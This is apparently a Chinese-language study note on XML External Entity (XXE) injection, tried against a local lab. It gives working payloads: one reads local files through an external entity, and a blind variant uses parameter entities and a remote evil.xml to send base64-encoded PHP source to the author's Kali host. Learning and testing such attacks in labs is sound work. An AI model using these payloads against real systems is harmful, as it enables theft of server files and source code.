XXE
什么是XXE
简单来说,XXE就是XML外部实体注入。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。
例如,如果你当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。
我们在本地测试xxe
https://github.com/c0ny1/xxe-lab
可以看到使用xml进行数据传输的
那我们可以使用XML DTD 进行文件读取
关于DTD
https://www.w3school.com.cn/dtd/dtd_entities.asp
我们看一下一下基本的PAYLOAD结构
<?xml version="1.0"?>
//xml声明
<!DOCTYPE test[
<!ENTITY admin SYSTEM "file:///D:/phpstudy_pro/WWW/1.txt">
]>
//DTD部分
<user>
<username>&admin;</username>
<password>admin</password>
</user>
//xml部分
DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。
实体分为一般实体和参数实体
-
一般实体的声明:<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称; -
参数实体的声明:<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;
下面直接读取php文件,为了方便输出,我们以base64编码的方式输出
以上是有回显的xxe注入,下面看一下没有回显的,将报错 隐藏同时不让其输出结果
关于无回显的我们要使用参数实体注入
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/1.php">
<!ENTITY % dtd SYSTEM "http://192.168.105.132/evil.xml">
%dtd;
%send;
]>
//我的kali地址为192.168.105.132
//evil.xml
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.105.132/?content=%file;'>"> %payload;
里层的嵌套里%要进行实体编码成%。无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。
XML可用的外部实体类型
参考
https://blog.csdn.net/nzjdsds/article/details/98763063
https://www.freebuf.com/column/181064.html
还有一个自己前面做的vulnhun的靶机,也是考察的xxe,可以参考一下
https://blog.csdn.net/weixin_43940853/article/details/104620834